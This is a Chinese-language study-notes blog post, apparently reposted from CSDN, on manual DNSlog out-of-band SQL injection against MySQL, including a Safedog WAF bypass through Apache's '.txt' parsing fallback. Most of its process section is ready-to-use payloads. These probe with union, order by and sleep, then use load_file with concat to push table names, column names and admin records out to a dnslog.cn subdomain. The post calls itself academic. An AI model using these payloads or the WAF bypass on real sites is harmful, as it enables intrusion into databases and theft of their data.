学习记录-DNS_log注入(手工注入)

学习记录-DNS_log注入(手工注入)

注:文章仅用于学术交流,不用于其它用途,不足之处,评论指出,谢谢大佬们

一、dns_log注入的实用场景满足条件
1.无回显
2.不能用盲注,即使能使用盲注,存在被ban的风险高且效率低
3.数据库配置能使用load_file函数可以发送请求
4.拥有一个dns服务器接受发送过来的数据

二、dns_log注入的实质
就是拼接语句,借助开发数据库可能配置了函数load_file,通过函数发送请求,将sql语句查询的结果带出来给我们自己设置的dns服务器解析,通过日志记录可以看到结果信息

三、总体思路
查看是否存在dns_log注入(选择最简单的注入,不仅限于dns_log注入)----尝试注入 #(不一定非要用dnslog注入,找最简单的方法)

四、学习dns_log注入前,需要了解一些基础知识:
1)UNC路径
\\主机地址(或者域名)\文件 也就是共享文件路径
2)SMB服务
就是windowns的共享文件服务,liunx上没有,需要单独安装
3)数据库设置,使用load_file()函数
1.选择my.ini配置文件,加入参数secure_file_priv=""
在这里插入图片描述

2.使用load_file函数,尝试加载,load_file函数可以读取给定的文件,也可取访问给定的url地址,前提是拥有读取权限、文件在目的地址上、且my.ini函数配置secure_file_priv=""
在这里插入图片描述
4)Apache绕过安全狗waf的一种方法(还有很多其它方法)
1.apache默认解析是遇到不认识或者没有的会向前解析(可以设置)
2.waf白名单很大几率含有txt、png等这种格式文件,将不会拦截

这里就是运用txt文件是白名单,安全狗不检测,然后利用apache默认解析方式找不到txt文件去上层解析进行传递
在这里插入图片描述

在这里插入图片描述
5)dnslog.cn是一个不错的dns服务平台
在这里插入图片描述
四、注入过程
1)查看是否存在dns_log注入

若存在安全狗尝试用txt绕过,这里主要是检测是否存在回显
/1.txt?id=1 and 1=1
/1.txt?id=1 order by 1,2…
/1.txt?id=1 union select 1,2…

查看是否能盲注;发现可以盲注,但是要考虑到风险及效率,与dns_log注入对比哪种更快捷
/1.txt?id=1 and sleep(5)

2)使用dns_log注入

通过查询自带库获取数据库表名,这里都是尝试,不一定web数据库就一定含有自带库
/1.txt?id=1 and load_file(concat(’//’,(select table_name from information_Schema.tables where table_schema=database() limit 0,1),’.g2vngq.dnslog.cn/adc’)) ----注意的是这里需要用limit限制一条数据,因为发送到域名只能取一条,而查询出来的是集合;apache去寻找adc文件发现没有,就去寻找上层,产生了dns解析

查询表字段名,也利用自带库查询
/1.txt?id=1 and load_file(concat(’//’,(select column_name from information_Schema.columns where table_Schema=database() and table_name=‘xxx’ limit 0,1),’.g2vngq.dnslog.cn/adc’)) —第一个字段

获取数据
/1.txt?id=1 and load_file(concat(’//’,(select xxx from admin limit 0,1),’.g2vngq.dnslog.cn/adc’)) —获取第一个x’x’x

五、个人总结
1)很多网站都是使用了安全狗,尝试多种方式绕过,这里用了一种白名单组合apache默认解析的方法绕过
2)load_file函数数据库默认是不开启的,有些开发为了方便所以设置了这个,从而导致了dns_log注入
3)dns_log注入需要注意使用场景,多种情况下选择,应该选择最简单的方法
4)UNC路径和SMB服务为windowns系统独有,liunx没有若需要则可以单独安装服务

猜你喜欢

转载自blog.csdn.net/SmileAndFun/article/details/107985933
今日推荐